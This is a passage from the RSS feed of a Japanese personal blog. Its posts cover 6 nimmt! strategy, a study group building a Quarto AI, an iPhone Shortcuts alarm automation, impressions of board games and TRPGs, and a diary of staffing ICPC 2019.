ここではUnigiriがよく遊んでいる6人かつヴァリアントルール無し(以下、この記事のルールと呼ぶ)に絞って話を進めます。&lt;/p&gt;
&lt;p&gt;そのため、この記事で説明するコツの大半はこの記事のルールでしか有効に働きません。ご注意下さい。&lt;/p&gt;
&lt;h2 id=&#34;2-この記事でのカードと場の記載方法&#34;&gt;2. この記事でのカードと場の記載方法&lt;/h2&gt;
&lt;p&gt;ここではカードを &lt;code&gt;カードの数字(そのカードを取った際の失点)&lt;/code&gt; 、場をテーブルで以下のように表します。&lt;/p&gt;
&lt;table&gt;
	&lt;thead&gt;
			&lt;tr&gt;
					&lt;th&gt;#1&lt;/th&gt;
					&lt;th&gt;#2&lt;/th&gt;
					&lt;th&gt;#3&lt;/th&gt;
					&lt;th&gt;#4&lt;/th&gt;
					&lt;th&gt;#5&lt;/th&gt;
					&lt;th&gt;#6&lt;/th&gt;
			&lt;/tr&gt;
	&lt;/thead&gt;
	&lt;tbody&gt;
			&lt;tr&gt;
					&lt;td&gt;1(1)&lt;/td&gt;
					&lt;td&gt;2(1)&lt;/td&gt;
					&lt;td&gt;3(1)&lt;/td&gt;
					&lt;td&gt;4(1)&lt;/td&gt;
					&lt;td&gt;&lt;strong&gt;5(2)&lt;/strong&gt;&lt;/td&gt;
					&lt;td&gt;🐮&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;50(3)&lt;/td&gt;
					&lt;td&gt;51(1)&lt;/td&gt;
					&lt;td&gt;&lt;strong&gt;52(1)&lt;/strong&gt;&lt;/td&gt;
					&lt;td&gt;&lt;/td&gt;
					&lt;td&gt;&lt;/td&gt;
					&lt;td&gt;🐮&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;&lt;strong&gt;70(3)&lt;/strong&gt;&lt;/td&gt;
					&lt;td&gt;&lt;/td&gt;
					&lt;td&gt;&lt;/td&gt;
					&lt;td&gt;&lt;/td&gt;
					&lt;td&gt;&lt;/td&gt;
					&lt;td&gt;🐮&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;99(5)&lt;/td&gt;
					&lt;td&gt;100(2)&lt;/td&gt;
					&lt;td&gt;101(1)&lt;/td&gt;
					&lt;td&gt;&lt;strong&gt;104(1)&lt;/strong&gt;&lt;/td&gt;
					&lt;td&gt;&lt;/td&gt;
					&lt;td&gt;🐮&lt;/td&gt;
			&lt;/tr&gt;
	&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;一番上の行の &lt;code&gt;#n&lt;/code&gt; は列を左から数えた時の番号であり、分かりやすさのために書いています。&lt;br&gt;
また &lt;code&gt;#6&lt;/code&gt;の場所にカードが置かれた時に失点が発生するため、その事が分かりやすいように🐮を置いています。&lt;/p&gt;
&lt;p&gt;更に各行の一番右にある札をここでは&lt;em&gt;末尾&lt;/em&gt;と呼びます。&lt;br&gt;
上記テーブルの太字になっている札が末尾となります。&lt;/p&gt;
&lt;h2 id=&#34;3-ニムトは必ず勝てるゲームか&#34;&gt;3. ニムトは必ず勝てるゲームか？&lt;/h2&gt;
&lt;p&gt;この記事のルールにおいてニムトは必ず勝てるゲームではありません。&lt;br&gt;
場の状態、抜かれているカードが何か、自分や相手の手札、相手の戦略等に勝敗が左右されます。&lt;/p&gt;
&lt;p&gt;それでも、この盤面の時はこの札を出すと失点を回避しやすいというコツは存在します。&lt;br&gt;
&lt;a href=&#34;https://boardgamearena.com/&#34;&gt;Board Game Arena&lt;/a&gt;で1197回&lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt;遊ぶうちにいくつかの有効と思われるコツが見えてきたので、この記事ではそれらのコツを説明します。&lt;/p&gt;
&lt;h2 id=&#34;4-大前提のコツ&#34;&gt;4. 大前提のコツ&lt;/h2&gt;
&lt;p&gt;これだけは覚えて下さい。大前提のコツです。&lt;/p&gt;
&lt;h3 id=&#34;ワンチャンいけると思った時は大抵いけない&#34;&gt;ワンチャンいけると思った時は大抵いけない&lt;/h3&gt;
&lt;p&gt;ワンチャンはノーチャンです。&lt;br&gt;
ワンチャンの一例を挙げます。以下の行が場で末尾が最大の行であり、この時に手札の最高値である100を出すようなことです。&lt;/p&gt;
&lt;p&gt;手札: 4(1), 21(1), 60(3), 73(1), 82(1), 97(1), 100(3)&lt;/p&gt;</description>
    </item>
    <item>
      <title>Quartoを計算機に解かせる会 2021年活動報告書</title>
      <link>https://unigiri.gitlab.io/posts/summary-of-quarto-2021/</link>
      <pubDate>Thu, 09 Dec 2021 17:17:37 +0900</pubDate>
      <guid>https://unigiri.gitlab.io/posts/summary-of-quarto-2021/</guid>
      <description>&lt;p&gt;この記事は&lt;a href=&#34;https://adventar.org/calendars/6259&#34;&gt;卓ゲ箪笥 Advent Calendar 2021&lt;/a&gt;の9日目の記事です。&lt;br&gt;
前回は紅ノ牛さんの&lt;a href=&#34;https://note.com/kurenainousi/n/n450cd532fa2f&#34;&gt;テキサスホールデムポーカーのルール説明&lt;/a&gt;でした。&lt;/p&gt;
&lt;p&gt;今年4月11日より、Quartoを計算機に解かせる会 (以下Quarto会) を&lt;a href=&#34;https://tablegame.mstdn.cloud/@anno_kgrzk&#34;&gt;神楽坂あんのんさん&lt;/a&gt;, &lt;a href=&#34;https://tablegame.mstdn.cloud/@Arbolpueblo&#34;&gt;きむにぃさん&lt;/a&gt;, &lt;a href=&#34;https://tablegame.mstdn.cloud/@ATESAKI/&#34;&gt;宛先さん&lt;/a&gt;, 私の4人で定期開催しています。&lt;br&gt;
この記事ではQuarto会の発足経緯と2021年の活動内容をまとめます。&lt;/p&gt;
&lt;p&gt;Quartoのルール等の前提知識はここでは説明しません。&lt;a href=&#34;https://nicobodo.com/archives/27464438.html&#34;&gt;【ゲーム紹介】クアルト (Quarto!) | ニコボド｜ボードゲームレビュー＆情報系ブログ&lt;/a&gt;等の外部サイトをご参照ください。&lt;/p&gt;
&lt;h2 id=&#34;発足経緯&#34;&gt;発足経緯&lt;/h2&gt;
&lt;p&gt;Quartoで遊んだ後、私がPleromaアカウントでぶつぶつと呟いていました。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://pleroma.unigiri.net/notice/A4soOvGzreImtG7vXs&#34;&gt;https://pleroma.unigiri.net/notice/A4soOvGzreImtG7vXs&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;クアルトのルール的にソルバ転がってそうなので調べたら案の定ソルバやら論文やらスライドやらが出てきてにこにこ笑顔になった&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href=&#34;https://pleroma.unigiri.net/notice/A4t9b9DRwudwe58dYO&#34;&gt;https://pleroma.unigiri.net/notice/A4t9b9DRwudwe58dYO&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;いやこれ読む限りQuartoで引き分けになるパターン数は414298141056なので、途中の状態を列挙せずともこれらのうちいずれかの状態となるようにしていけばいいのか？ どっちにしろ1手番ごとに引き分けパターンを全部舐めて到達可能/不可を計算するのしんどそうだが&amp;hellip;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;この時点で人間に必ず負けない&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;AIが実装可能かが書かれている資料が見つからなかったため、この呟きに反応していたきむにぃさんと宛先さん、更にあんのんさんも誘いQuarto会を発足しました。&lt;/p&gt;
&lt;h2 id=&#34;活動内容&#34;&gt;活動内容&lt;/h2&gt;
&lt;h3 id=&#34;an-artificial-intelligence-for-the-board-game-quarto-in-javaを読む&#34;&gt;An artificial intelligence for the board game &amp;lsquo;Quarto!&amp;rsquo; in Javaを読む&lt;/h3&gt;
&lt;p&gt;全探索する、機械学習させる、定石を列挙する等の色々な案が出ましたが、まずはサーベイということでインターネットに無料で転がっていた&lt;a href=&#34;https://www.researchgate.net/publication/261848662_An_artificial_intelligence_for_the_board_game_%27Quarto%27_in_Java&#34;&gt;An artificial intelligence for the board game &amp;lsquo;Quarto!&amp;rsquo; in Java&lt;/a&gt;を読み、メンバー各自で担当箇所を決めてスライド等にまとめました。&lt;/p&gt;
&lt;p&gt;この論文により、主に&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;まっさらな盤面からの完全ゲーム木&lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt;生成は難しいこと
&lt;ul&gt;
&lt;li&gt;つまり、ゲームの序盤でどの手が最善手かを完璧に判断することは難しい&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Quartoでは勝利条件的に同等とみなしてよい盤面が回転と鏡写し以外でも生成可能なこと
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;mid flip&lt;/code&gt; と &lt;code&gt;inside out&lt;/code&gt; と呼ばれる&lt;sup id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;アルファ・ベータ法&lt;sup id=&#34;fnref:4&#34;&gt;&lt;a href=&#34;#fn:4&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;4&lt;/a&gt;&lt;/sup&gt;により、ある程度動くAIは実装可能なこと&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;が分かりました。&lt;/p&gt;
&lt;p&gt;しかしアルファ・ベータ法によるAIは実行速度があまり速いと言えないこと、またゲームの勝敗状況を判断するための評価関数の実装に疑問が残るということから、別のアルゴリズムを調べることになりました。&lt;/p&gt;
&lt;h3 id=&#34;モンテカルロ木探索によるaiの実装&#34;&gt;モンテカルロ木探索によるAIの実装&lt;/h3&gt;
&lt;p&gt;先述の論文を探していた時に&lt;a href=&#34;https://qiita.com/keyhole0/items/326b4d0cc14bd09cc8ae&#34;&gt;モンテカルロ木探索で作るクアルト専用対戦AI&lt;/a&gt;というQiitaの記事を見つけていたため、モンテカルロ木探索とは何かという所から調べました。&lt;/p&gt;
&lt;p&gt;その結果&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;囲碁で実績のあるアルゴリズムであること&lt;/li&gt;
&lt;li&gt;採用条件的にQuartoの仕様やルールに合っているということ&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://keyhole0.github.io/Ktuarto/&#34;&gt;Qiitaの記事の人が公開している対戦可能なAI&lt;/a&gt;が鬼強くメンバー全員が勝てなかったこと&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;から、このモンテカルロ木探索の挙動をより深く知るために&lt;a href=&#34;https://github.com/keyhole0/Ktuarto&#34;&gt;GitHubに公開されているAIのソースコード&lt;/a&gt;の解析を試みました。&lt;br&gt;
2021年12月時点ではこのソースコードの解析を元に各メンバーのゴールを決め、その達成に向けて活動をしています。&lt;/p&gt;
&lt;p&gt;盤面を棋譜として扱えるようにする、Quarto特有のチューニング箇所を見つけ出す等の個々人のゴールがありますが、私のゴールとしてはQiita記事のAIよりも強いAIを作ることです。&lt;br&gt;
そのためには手軽にAI同士で対戦できる環境とAIの強さを数値化し比較可能にするためのELOレーティング導入が必要なため、現在はこの2つを実現する環境を構築しています。&lt;br&gt;
環境の構築後にAIのチューニング等を行い、より強いAIの実装を実現させる予定です。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;以上がQuarto会の2021年活動報告書です。&lt;/p&gt;
&lt;p&gt;もしこの活動内容に興味がある、もしくは本会へ参加したい方がおりましたら、Fediverse経由で&lt;a href=&#34;https://tablegame.mstdn.cloud/@unigiri&#34;&gt;Unigiri&lt;/a&gt;宛へのメンションか本サイトのトップページに記載されているメールアドレス宛へご連絡をよろしくお願いします。&lt;br&gt;
喜んで詳細な活動内容をお伝えいたします。&lt;/p&gt;</description>
    </item>
    <item>
      <title>iPhoneユーザへ贈る最強の寝過ごし防止法</title>
      <link>https://unigiri.gitlab.io/posts/the-ultimate-way-for-iphone-users-to-stop-oversleeping/</link>
      <pubDate>Wed, 01 Dec 2021 17:15:57 +0900</pubDate>
      <guid>https://unigiri.gitlab.io/posts/the-ultimate-way-for-iphone-users-to-stop-oversleeping/</guid>
      <description>&lt;p&gt;この記事は&lt;a href=&#34;https://adventar.org/calendars/6259&#34;&gt;卓ゲ箪笥 Advent Calendar 2021&lt;/a&gt;の1日目の記事です。&lt;br&gt;
前回は2020年度最終日の雷羅さんによる&lt;a href=&#34;https://raira-trpg.blogspot.com/2020/12/i-wanna-sing-carol.html&#34;&gt;I wanna sing the Carol( )&lt;/a&gt;でした。&lt;/p&gt;
&lt;p&gt;この記事はiPhoneユーザ、かつ不眠に悩んでいない人を対象としています。&lt;br&gt;
Android等の他のスマホユーザは、iPhoneの購入を検討しながらこの記事を読んでください。&lt;br&gt;
不眠の人は、こんな腹立つ記事を書きやがってと憤ってください。&lt;/p&gt;
&lt;h2 id=&#34;はじめに&#34;&gt;はじめに&lt;/h2&gt;
&lt;p&gt;皆さん、睡眠は好きですか？&lt;br&gt;
私は大好きです。毎日就寝していますし、毎日起床しています。&lt;/p&gt;
&lt;p&gt;ですがこの睡眠というものが困り物で、なんと睡眠中は意識を失ってしまうのです。&lt;br&gt;
もしボードゲームやTRPGの予定の直前にうっかり睡眠を嗜んでしまうと、遅刻やドタキャンを発生させてしまいます。&lt;/p&gt;
&lt;p&gt;iPhone標準アプリであるカレンダーの機能として予定の前に \ﾘ-ﾝ♪/ という音を発生させる機能がありますが、惰眠を貪る選手権優勝かつ二度寝発生率堂々1位の人間がそんなことで起きるはずがありません。&lt;br&gt;
もっと爆音で、もっとしつこく、意識が覚醒するまで無限に繰り返し鳴り続ける機能が必要とされています。&lt;br&gt;
そう、例えば同じく標準アプリである時計のアラーム機能のような&amp;hellip;&lt;/p&gt;
&lt;p&gt;ここでは、カレンダーに入れた予定の開始15分前に鳴るアラームを自動作成する方法を解説します。&lt;/p&gt;
&lt;h2 id=&#34;前提&#34;&gt;前提&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;GoogleアカウントをiPhoneの標準アプリであるカレンダーと連携させ、予定を表示させている
&lt;ul&gt;
&lt;li&gt;Google製のカレンダーアプリの使用についてはここでは考慮しない&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;GoogleアカウントにTRPG/BoardGameというカレンダーを作成している
&lt;ul&gt;
&lt;li&gt;カレンダーはWeb版Googleカレンダーの左側メニューから作成可能&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt=&#34;1.png&#34; loading=&#34;lazy&#34; src=&#34;https://unigiri.gitlab.io/posts/the-ultimate-way-for-iphone-users-to-stop-oversleeping/1.png&#34;&gt;&lt;/p&gt;
&lt;h2 id=&#34;仕様&#34;&gt;仕様&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;TRPG/BoardGameカレンダーに予定を登録する&lt;/li&gt;
&lt;li&gt;毎日午前3時に、&lt;strong&gt;その日&lt;/strong&gt;にTRPG/BoardGameカレンダーに登録されている全ての予定を確認する
&lt;ul&gt;
&lt;li&gt;当日をN日とした場合、N+1日以降の予定は確認しない&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;確認した各予定の15分前に鳴るアラームを時計アプリへ作成する
&lt;ul&gt;
&lt;li&gt;午前3時以降に予定の内容が変更された場合はアラームに反映されないため、手動で修正する必要がある&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;アラーム自動作成方法&#34;&gt;アラーム自動作成方法&lt;/h2&gt;
&lt;p&gt;iPhone標準アプリである&lt;a href=&#34;https://support.apple.com/ja-jp/guide/shortcuts/welcome/ios&#34;&gt;ショートカット&lt;/a&gt;を使用します。&lt;/p&gt;
&lt;h3 id=&#34;1-ショートカットアプリの起動&#34;&gt;1. ショートカットアプリの起動&lt;/h3&gt;
&lt;p&gt;ショートカットのアプリを起動し、画面下部のからオートメーションを選択します。&lt;br&gt;
選択すると、以下のような画面になります。&lt;/p&gt;
&lt;p&gt;※スクリーンショットはアラーム自動作成完了後の状態です。&lt;br&gt;
まだ作業を行っていない場合は「毎日、3:00に」と書かれた設定は存在しません。&lt;/p&gt;
&lt;figure&gt;
    &lt;img loading=&#34;lazy&#34; src=&#34;2.png&#34; width=&#34;400px&#34;/&gt; 
&lt;/figure&gt;

&lt;h3 id=&#34;2-ショートカットの新規作成&#34;&gt;2. ショートカットの新規作成&lt;/h3&gt;
&lt;p&gt;1の状態で右上に表示されている「+」をタップします。&lt;br&gt;
すると、以下の画面が表示されます。&lt;/p&gt;
&lt;figure&gt;
    &lt;img loading=&#34;lazy&#34; src=&#34;3.png&#34; width=&#34;400px&#34;/&gt; 
&lt;/figure&gt;

&lt;p&gt;ここでは「個人用オートメーション」を作成をタップします。&lt;br&gt;
すると、以下の画面が表示されます。&lt;/p&gt;
&lt;figure&gt;
    &lt;img loading=&#34;lazy&#34; src=&#34;4.png&#34; width=&#34;400px&#34;/&gt; 
&lt;/figure&gt;

&lt;p&gt;ここでは一番上に表示されている「時刻」をタップします。&lt;br&gt;
すると、以下の画面が表示されます。&lt;/p&gt;
&lt;figure&gt;
    &lt;img loading=&#34;lazy&#34; src=&#34;5.png&#34; width=&#34;400px&#34;/&gt; 
&lt;/figure&gt;

&lt;p&gt;ここではアラームの自動作成をいつ行うかを設定します。&lt;br&gt;
スクショでは深夜の3時に設定されていますが、お好みの時間で構いません。&lt;br&gt;
ただし、繰り返しは「毎日」を指定してください。&lt;/p&gt;
&lt;p&gt;右上の「次へ」を押して、次の画面に移動します。&lt;br&gt;
すると、以下の画面が表示されます。&lt;/p&gt;
&lt;figure&gt;
    &lt;img loading=&#34;lazy&#34; src=&#34;6.png&#34; width=&#34;400px&#34;/&gt; 
&lt;/figure&gt;

&lt;h3 id=&#34;3-ショートカットのアクション設定&#34;&gt;3. ショートカットのアクション設定&lt;/h3&gt;
&lt;h4 id=&#34;3-1-カレンダーから予定を取得&#34;&gt;3-1. カレンダーから予定を取得&lt;/h4&gt;
&lt;p&gt;画面中央に表示されている「アクションを追加」をタップします。&lt;br&gt;
すると、アクション一覧が表示されます。&lt;br&gt;
以下のように検索フォームに「カレンダー」と入力し、絞り込まれた項目の中から「カレンダーイベントを検索」をタップします。&lt;/p&gt;
&lt;figure&gt;
    &lt;img loading=&#34;lazy&#34; src=&#34;7.png&#34; width=&#34;400px&#34;/&gt; 
&lt;/figure&gt;

&lt;p&gt;すると、以下ようにアクションが追加されます。&lt;/p&gt;
&lt;figure&gt;
    &lt;img loading=&#34;lazy&#34; src=&#34;8.png&#34; width=&#34;400px&#34;/&gt; 
&lt;/figure&gt;

&lt;p&gt;追加されたアクションの内容を以下のように変更します。&lt;br&gt;
変更点は&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;開始日を7日から1日に変更&lt;/li&gt;
&lt;li&gt;「フィルタを追加」をタップし「カレンダー 次と等しい TRPG/BoardGame」を指定&lt;/li&gt;
&lt;li&gt;並び順序を開始日(古い順)に指定&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;です。&lt;/p&gt;</description>
    </item>
    <item>
      <title>ボードゲームとTRPGに対する所感</title>
      <link>https://unigiri.gitlab.io/posts/tansu-advent-calendar-2020/</link>
      <pubDate>Sat, 12 Dec 2020 03:51:58 +0900</pubDate>
      <guid>https://unigiri.gitlab.io/posts/tansu-advent-calendar-2020/</guid>
      <description>&lt;h1 id=&#34;ボードゲームとtrpgに対する所感&#34;&gt;ボードゲームとTRPGに対する所感&lt;/h1&gt;
&lt;p&gt;これは&lt;a href=&#34;https://adventar.org/calendars/6102&#34;&gt;箪笥 Advent Calendar 2020&lt;/a&gt;の12日目の記事です。&lt;br&gt;
前日は、まきぬのさんの&lt;a href=&#34;https://makimochi89.hatenablog.com/entry/2020/12/11/015845&#34;&gt;少女展爛会の全クラス・タイプ・オーデの特技に感想&lt;/a&gt;でした。&lt;/p&gt;
&lt;h2 id=&#34;1-あなたは誰&#34;&gt;1. あなたは誰?&lt;/h2&gt;
&lt;p&gt;&lt;a href=&#34;https://tablegame.mstdn.cloud/@unigiri&#34;&gt;Unigiri&lt;/a&gt;と申します。うにぎりと読みます。&lt;br&gt;
&lt;a href=&#34;https://tablegame.mstdn.cloud&#34;&gt;https://tablegame.mstdn.cloud&lt;/a&gt; (通称:箪笥) では、ボードゲームとTRPGを半々くらいの割合で楽しんでいます。&lt;/p&gt;
&lt;p&gt;今までに経験したボードゲームを&lt;a href=&#34;https://unigiri.gitlab.io/article/%E7%B5%8C%E9%A8%93%E6%B8%88%E3%81%BF%E3%83%9C%E3%83%BC%E3%83%89%E3%82%B2%E3%83%BC%E3%83%A0%E4%B8%80%E8%A6%A7/&#34;&gt;ここ&lt;/a&gt;に、TRPGを&lt;a href=&#34;https://unigiri.gitlab.io/article/%E7%B5%8C%E9%A8%93%E6%B8%88%E3%81%BFtrpg%E4%B8%80%E8%A6%A7/&#34;&gt;ここ&lt;/a&gt;に載せています。&lt;br&gt;
TRPGは今のところPL専門で、近々初GMをする予定です。&lt;/p&gt;
&lt;h2 id=&#34;2-なにを話すの&#34;&gt;2. なにを話すの?&lt;/h2&gt;
&lt;p&gt;私は2020年8月10日に箪笥へ入るまでTRPGは全くの未経験、ボードゲームはほぼ未経験だったという初心者です。&lt;br&gt;
そのため語れる便利な情報などなく、界隈初心者あるあるの自分語りをします。&lt;/p&gt;
&lt;p&gt;今回は、箪笥に入る前と後で、私の中でボードゲームとTRPGへの印象がどう変わったかについてのお話です。&lt;/p&gt;
&lt;h2 id=&#34;3-ボードゲーム&#34;&gt;3. ボードゲーム&lt;/h2&gt;
&lt;h3 id=&#34;3-1-箪笥加入前&#34;&gt;3-1. 箪笥加入前&lt;/h3&gt;
&lt;p&gt;率直に言うと、ボードゲームとは何かをよく知りませんでした。&lt;br&gt;
と言っても全く遊んだことがなかったわけではなく、小さい頃に友達の家でいくつか遊んだことがありましたが、それらをボードゲームと呼ぶと教わらなかったためか「外国製の変わった遊び」と認識していました。&lt;/p&gt;
&lt;p&gt;また、箪笥加入前に通っていたオフィスにボードゲームの箱が積まれていたものの、特に手に取ったりはしませんでした。&lt;br&gt;
恵まれた環境だったんだなあと今になって思います。&lt;/p&gt;
&lt;p&gt;恵まれた環境といえば、幼少時の自宅から自転車で約10分の所に&lt;a href=&#34;https://sugorokuya.jp/&#34;&gt;すごろくや&lt;/a&gt;があったのですが、一度も入ることなく引っ越しました。&lt;br&gt;
なぜ入らなかったんでしょうか??????&lt;/p&gt;
&lt;h3 id=&#34;3-2-箪笥加入後&#34;&gt;3-2. 箪笥加入後&lt;/h3&gt;
&lt;p&gt;加入してすぐは前述の通りボードゲームが何を指すのかをよく知らなかったため、&lt;a href=&#34;https://tablegame.mstdn.cloud/@Arbolpueblo&#34;&gt;きむにぃ&lt;/a&gt;さんの色々なゲーム紹介文を読んでいる時に「ボードゲームって七並べやソリティアとどう違うんですか?」という質問をぐっとこらえていました。&lt;br&gt;
(あまりにもアホっぽい質問だと思ったので言いませんでしたが、言ったら言ったで面白かったかもしれません)&lt;/p&gt;
&lt;p&gt;幸いなことにその後色々なゲームに誘っていただき、テクニックなどもたくさん教えていただきました。&lt;/p&gt;
&lt;p&gt;さて、特にカタンやカルカソンヌなどのタイルを並べて陣地をどうのこうのするゲームで遊んだ時に感じるのですが、PCゲームでCPUと一人遊びをすることの多かった私にとってボードゲームに対しての印象は&lt;/p&gt;
&lt;p&gt;「PCで遊べるCivilizationシリーズやカードゲームみたいなものは元々アナログ発祥で、アナログだと対人プレイしかできない」&lt;br&gt;
「対人プレイだとわいわい話しながらできる上、CPUみたいに動きが単調ではないため、より楽しい」&lt;/p&gt;
&lt;p&gt;というものです。&lt;/p&gt;
&lt;p&gt;何を当たり前のことを書いているんだという感じですが、今まではこの手のもので遊ぶ相手はCPUくらいしかいませんでした。 &lt;br&gt;
そのため戦略を立てて勝つというよりも、いかにCPUのパターンを読んでそれに応じた最適な動きをするかという遊び方をしていたため、一筋縄ではいかない対人のゲームはより難しく、そしてより楽しいです。&lt;/p&gt;
&lt;p&gt;未だにこれなら負けない!というゲームを持てていないため、そろそろ何か1つを極めてみたいところです。&lt;/p&gt;
&lt;h2 id=&#34;4-trpg&#34;&gt;4. TRPG&lt;/h2&gt;
&lt;h3 id=&#34;4-1-箪笥加入前&#34;&gt;4-1. 箪笥加入前&lt;/h3&gt;
&lt;p&gt;TRPGは、ニコニコ動画でリプレイ動画、もしくはリプレイ風の動画を見ていました。&lt;br&gt;
具体的には、&lt;a href=&#34;https://www.nicovideo.jp/series/26264&#34;&gt;ゆっくりクズどものクトゥルフ&lt;/a&gt;を見ていました。&lt;/p&gt;
&lt;p&gt;さて、これはあるあるネタなのかは分かりませんが、そういうわけでクトゥルフ以外のTRPGが存在することを知りませんでした。&lt;br&gt;
つまりTRPG = クトゥルフだったので、箪笥の説明として「ボードゲームとTRPGで遊ぶサーバ」という文を読んだときは「ははーん。ボードゲームとクトゥルフを遊ぶサーバなのかな」と思っていました。&lt;br&gt;
今となっては、そんなことある&amp;hellip;?という感じですが。&lt;/p&gt;
&lt;h3 id=&#34;4-2-箪笥加入後&#34;&gt;4-2. 箪笥加入後&lt;/h3&gt;
&lt;p&gt;そんな無知な私でしたが、初のTRPGはトーキョー・ナイトメアでした。&lt;br&gt;
その時には既に箪笥のHTLから、色々なTRPGがあってそれらはシステムと呼ばれているということを学んでいました。&lt;/p&gt;
&lt;p&gt;その卓のGM(TNMなので正しくはRL)は&lt;a href=&#34;https://tablegame.mstdn.cloud/@usaturn&#34;&gt;うさたーん&lt;/a&gt;さんで、自己紹介の時に私が「TRPGは初めてで、リプレイ動画をよく見ていました」と言った時に、実際やるTRPGはリプレイ動画とはかなり違う、と若干シリアスめに伝えられたことをよく覚えています。&lt;/p&gt;
&lt;p&gt;遊んでみれば確かにそうで、実際の卓では一瞬で適した判断を下せるわけでも、判定に必要な計算が瞬時にできるわけでもありません。&lt;br&gt;
しかし、そのことは私にとって全く問題ではありませんでした。&lt;/p&gt;
&lt;p&gt;例えるならば、役者希望の人が他人の舞台を見続け、拙い技術ながらもやっと自分の舞台に立てたときの気持ちでしょうか。&lt;br&gt;
ずっと(1年間くらい?)リプレイ動画を見ながら楽しそうだなと思っていた私にとって、初めてのTRPGで「やっと物語の参加者になれた」という思いを強く感じました。&lt;/p&gt;
&lt;p&gt;元々演技は好きなほうなので、卓がある度に毎回楽しくロールプレイさせていただいています。&lt;br&gt;
箪笥の皆さんとたくさん物語を作ることができて、とても嬉しいです。&lt;/p&gt;
&lt;h2 id=&#34;5いい感じの締め&#34;&gt;5.いい感じの締め&lt;/h2&gt;
&lt;p&gt;というわけで、今ではボードゲームとTRPG共にとても楽しく遊んでいます。&lt;br&gt;
まだまだ拙いところがあるかとは思いますが、これからもどうぞよろしくお願いします！&lt;/p&gt;
&lt;p&gt;明日は-101-さんの描いたよ報告です。&lt;/p&gt;</description>
    </item>
    <item>
      <title>ICPC 2019 Asia Yokohama Regional 参加記</title>
      <link>https://unigiri.gitlab.io/posts/icpc2019-asia-yokohama-regional/</link>
      <pubDate>Wed, 04 Dec 2019 20:26:44 +0900</pubDate>
      <guid>https://unigiri.gitlab.io/posts/icpc2019-asia-yokohama-regional/</guid>
      <description>&lt;p&gt;今年もスタッフとして参加した。&lt;/p&gt;
&lt;h2 id=&#34;1日目&#34;&gt;1日目&lt;/h2&gt;
&lt;p&gt;朝9時に横浜産貿ホールへ集合。Tシャツやネームタグ受け取りなどの諸々の準備を済ませ朝のミーティング。&lt;br&gt;
その後rehearsalのテストを済ませ、受付班として入り口付近のチェックと contestant及びcoachの受け入れ手順と注意事項を確認。&lt;br&gt;
昨年度と同じ会場&amp;amp;去年も受付班だったため特に個人的には特に手間取らず終了。&lt;br&gt;
確認後は風船の準備や昼食を摂るなどして入場時間まで待機してした。&lt;/p&gt;
&lt;p&gt;13時に入場開始。スタッフは参加者へ英語で話しかける必要があるため最初は手間取ったが、徐々に言葉が最適化されていき後半は特に困らず。&lt;br&gt;
ただ1つ反省点としては、今日と明日の注意事項を一気に確認したため、それらの内容が脳内で混ざり合い時々明日の注意事項を今日に取り違えるミスが発生した。&lt;br&gt;
また、わりかし雑に案内してよいことが分かった。&lt;br&gt;
(例: 「この通路は出口専用であり通れないため、あちらの通路を使って下さい」ではなく「この通路は出口専用だ」と言えば勝手にもうひとつの通路へ移動してくれる)&lt;/p&gt;
&lt;p&gt;全てのチームの入場が完了した後は、rehearsalでの風船と印刷物配り&amp;amp;会場内巡回。&lt;br&gt;
印刷物配りについては今年から誤配防止策が強化されており、人間2人による配布対象チームのダブルチェックが行われるようになった。&lt;br&gt;
結局誤配は一度も起きず、明日も起きなければ結構な効果があるのかもしれない。&lt;/p&gt;
&lt;p&gt;rehearsal後、チーム紹介や功労賞(?)授与を眺め、contestant退場のcloak対応。&lt;br&gt;
一斉退場&amp;amp;cloak周りの通路が狭かったため、受け取り待ちにより通路の流れが滞留していた。&lt;/p&gt;
&lt;p&gt;退場後は明日のために入り口付近を再度整え、明日の受け入れ手順を再度確認し18時頃に解散。&lt;br&gt;
中華街で飲み食いをし、23:30頃就寝。&lt;/p&gt;
